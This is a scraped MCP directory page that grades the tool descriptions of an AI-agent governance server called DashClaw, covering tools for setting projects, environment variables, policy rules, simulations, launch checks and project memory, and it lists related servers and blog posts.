Does the description explain when to use this tool, when not to, or what alternatives exist?
Implies use for rejecting pending actions but does not explicitly state when not to use or provide alternatives beyond the sibling name.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
select_projectSelect projectA
Set the active project used by tools that omit an explicit project arg.
| Name | Required | Description | Default |
|---|---|---|---|
| project | Yes | Project id or slug |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description carries full burden. It discloses the core action (setting active project) but lacks details on scope (global vs. session), persistence, or potential side effects. The minimal description is adequate for a simple setter.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single, compact sentence with no unnecessary words. It efficiently communicates the tool's purpose and usage context.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the tool's simplicity (one parameter, no output schema), the description is complete. It clearly states what the tool does and when to use it, meeting all needs for an agent to invoke it correctly.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100% with parameter description 'Project id or slug'. The tool description adds context that the parameter becomes the active project, enhancing understanding beyond the schema.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description uses a specific verb ('Set') and identifies the resource ('active project'). It clearly distinguishes from sibling tools like 'create_project' and 'list_projects' by stating its function is to set context for other tools.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description explains when to use this tool ('used by tools that omit an explicit project arg'), providing clear context. However, it does not explicitly state when not to use it or list alternative approaches.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
set_app_env_varsSet app env varsA
Set multiple environment variables on the mapped Vercel or Railway app under one governed env_change action. Values are sent to the target provider but are not included in DashClaw/audit summaries. Production changes require approval by default.
| Name | Required | Description | Default |
|---|---|---|---|
| vars | Yes | ||
| target | No | ||
| project | No | ||
| serviceId | No | Optional Railway service id override | |
| environment | Yes | Environment id or name | |
| skipDeploys | No | ||
| targetProvider | Yes |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations, the description carries full burden and discloses that values are excluded from audit summaries and production changes need approval, though it omits details on permissions or reversibility.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is two sentences, front-loaded with the main purpose, and contains no superfluous words.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
For a tool with 7 parameters and no output schema or annotations, the description is incomplete, lacking details on return values, error cases, or how the governed action interacts with approval steps.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is only 29%, and the description adds no parameter-specific details beyond the tool's purpose, failing to compensate for the lack of schema descriptions.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the verb 'Set', the resource 'multiple environment variables on the mapped Vercel or Railway app', and the context 'governed env_change action', distinguishing it from siblings like add_environment or list_environments.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description gives clear context for when to use (under governed env_change) and notes that production changes require approval, but it does not explicitly state when not to use or mention alternative tools.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
set_policy_ruleSet policy ruleA
Add an explicit policy rule that overrides defaults. Higher priority wins. Use this to approve something normally gated (effect:'allow') or to tighten further (effect:'block').
| Name | Required | Description | Default |
|---|---|---|---|
| match | Yes | Unset fields are wildcards | |
| effect | Yes | ||
| priority | No | Default 100; higher wins | |
| description | No |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations provided, so description carries full burden. It discloses that rules override defaults and higher priority wins, but does not detail persistence, immediacy of effect, or limit on rules per project.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Two sentences, immediately front-loaded with verb and resource ('Add an explicit policy rule'). Every word adds value; no redundancy.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Tool has a nested object schema and 4 parameters with no output schema or annotations. Description covers core purpose and effect usage but omits details about match wildcards, priority range, and response format.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 50%. Description adds meaning to effect (approve vs. block) and priority (higher wins), but does not elaborate on match fields beyond schema's 'Unset fields are wildcards' or the description parameter.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states it adds an explicit policy rule that overrides defaults, with specific effects (allow/block). It distinguishes from siblings like list_policy_rules and check_policy by emphasizing rule creation and override behavior.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description provides usage context: 'Use this to approve something normally gated (effect:'allow') or to tighten further (effect:'block').' It does not explicitly state alternatives or when not to use, but the guidance is clear.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
simulate_actionSimulate actionC
Simulate a provider capability in an environment without executing a provider call or writing audit entries.
| Name | Required | Description | Default |
|---|---|---|---|
| live | No | ||
| project | No | ||
| provider | Yes | ||
| capability | Yes | ||
| environment | Yes | ||
| resourceLabel | No |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
With no annotations, the description carries full burden but only states what the tool does not do (no execution, no audit), failing to disclose what it actually returns, permissions needed, or how the simulation result behaves.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single concise sentence, but for a tool with 6 parameters and no helpful context, it is too minimal and lacks structure to convey necessary information.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the complexity of the input schema (6 parameters including enums), no output schema, and no annotations, the description is incomplete—it does not explain how the simulation result is represented or what the 'live' flag does.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 0% and the description provides no explanation of any of the 6 parameters (live, project, provider, capability, environment, resourceLabel), leaving the agent to guess their meaning.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool simulates a provider capability without executing a call or writing audit entries, which is specific and distinguishes it from real execution tools like approve_action or dashclaw_invoke.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description implies it is for testing or dry-run scenarios by noting the absence of execution and audit entries, but it does not explicitly state when to use vs. alternatives or provide any exclusion criteria.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
verify_launchVerify launchA
Run after the last step — end-to-end verification that the launch actually works: domain resolves, latest deployment READY, required env vars present on the app, Stripe webhook enabled, email sending domain verified. Reads only, audited.
| Name | Required | Description | Default |
|---|---|---|---|
| plan_id | Yes | Launch plan id (launch_*) |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations are provided, so the description must disclose behavioral traits. It states 'Reads only, audited.', which tells the agent it is safe and logged. The list of specific checks adds transparency. It does not cover potential rate limits or idempotency, but for a verification tool this is adequate.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is two sentences with no wasted words. The first sentence front-loads the core purpose and lists checks, while the second adds behavioral notes. Every sentence earns its place.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the tool has one well-described parameter, no output schema, and no annotations, the description provides sufficient context: purpose, when to use, what it checks, and that it is read-only and audited. The agent has enough information to decide and invoke correctly.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The only parameter 'plan_id' has a description in the schema ('Launch plan id (launch_*)'), and the tool description adds no additional meaning beyond that. With 100% schema coverage, the description does not need to compensate, so a baseline of 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description uses a specific verb ('verify') and resource ('launch') and lists concrete checks (domain resolves, deployment READY, env vars, etc.). It clearly distinguishes from siblings like 'preflight_launch' and 'get_launch_status' by focusing on end-to-end verification after the last step.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description explicitly states 'Run after the last step', providing clear timing context. It does not explicitly mention when not to use or alternative tools, though 'preflight_launch' is a sibling that would be used earlier. The omission of exclusions keeps it from a 5.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
write_project_memoryWrite project memoryA
Save a short note for a project/environment so future agent sessions know what happened (e.g. 'Last Vercel deploy failed because DATABASE_URL was missing').
| Name | Required | Description | Default |
|---|---|---|---|
| note | Yes | ||
| tags | No | ||
| project | No | ||
| environment | No |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
No annotations provided; description says 'save a short note' but lacks details on idempotency, permissions, return value, or constraints like max length. Acceptable for a simple write but not rich.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
One sentence with a helpful example, no waste.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
With 4 parameters, no output schema, and no annotations, the description is too brief. It omits purpose of tags/project/environment, limits, and behavioral details like note storage behavior.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema has 0% description coverage; description only mentions 'short note' and gives example, ignoring tags, project, environment. Agent must infer from names, which is insufficient.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool saves a short note for a project/environment, with a concrete example. It distinguishes from sibling read_project_memory and other tools.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description implies usage to persist context across sessions, but does not explicitly state when not to use or alternatives like dashclaw_learning_log.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
Tool Schema Changelog
Recent tool additions, removals, and schema changes observed during successful MCP inspections. Dates show when Glama detected each change.
No tool schema history has been recorded yet.
TDQS
Many tools have overlapping purposes, e.g., multiple list tools and similar-sounding tools like dashclaw_decisions_recent and dashclaw_recent_decisions. Agents may struggle to select the correct tool without careful reading.
Tool names are inconsistent: some use snake_case, others start with 'dashclaw_', and verb patterns vary (add, create, list, get). No clear naming convention is followed.
With 68 tools, the surface is overly large for a single server. While the domain is broad, many tools could be consolidated or split into separate servers to reduce complexity.
The tool set covers a wide range of DashClaw operations including governance, secrets, audit, launch plans, and session management. Minor gaps may exist but overall it offers a comprehensive surface.
Maintenance
Related MCP Connectors
Zero-secret MCP gateway for AI agents: risk-scored, audited calls with human-in-the-loop approval.
AgentGuard — 20-tool AI safety MCP: policy preflight, risk scoring, audit logging, rate limits.
Pre-execution governance for AI agents. Deterministic PASS/FAIL/REVIEW verdicts, replayable proof.
Human-in-the-loop for AI agents over MCP: durable approvals with a hosted review page & audit trail
Related MCP Servers
- AlicenseNot gradedqualityDmaintenanceMCP Guard Server - Budget control, approval workflows and audit logging for AI agents (Claude Code, Cursor, ChatGPT)MIT
- AlicenseNot gradedqualityDmaintenanceRuntime safety guardrails for AI coding agents. Checks file access, validates shell commands, and scores your repo's AI safety — all via MCP.108MIT
- AlicenseNot gradedqualityCmaintenanceAn MCP server that enforces runtime governance on AI agent actions — file access, command execution, delegation chains, and permission escalation.MIT
- AlicenseBqualityAmaintenanceA governance proxy for AI tools — every MCP/agent tool call is policy-gated, secret-redacted, and written to a hash-chained, offline-verifiable audit trail.13MIT
Latest Blog Posts
- Who's Calling? MCP Hosts Are an Identity Blind Spot (And the Spec Knows It)By Om-Shree-0709 on .mcpAgent IdentityOAuth 2.1
- Your AI Chatbot Just Exposed Your CEO's Salary to an InternBy Om-Shree-0709 on .Agent IdentityMCP SecurityOAuth Delegation
- Why MCP Servers Need Execution Sandboxing (And Why Your Current Stack Isn't Enough)By Om-Shree-0709 on .Agentic AiPrompt InjectionWebAssembly
MCP directory API
We provide all the information about MCP servers via our MCP API.
curl -X GET 'https://glama.ai/api/mcp/v1/servers/ucsandman/DashClaw'
If you have feedback or need assistance with the MCP directory API, please join our Discord server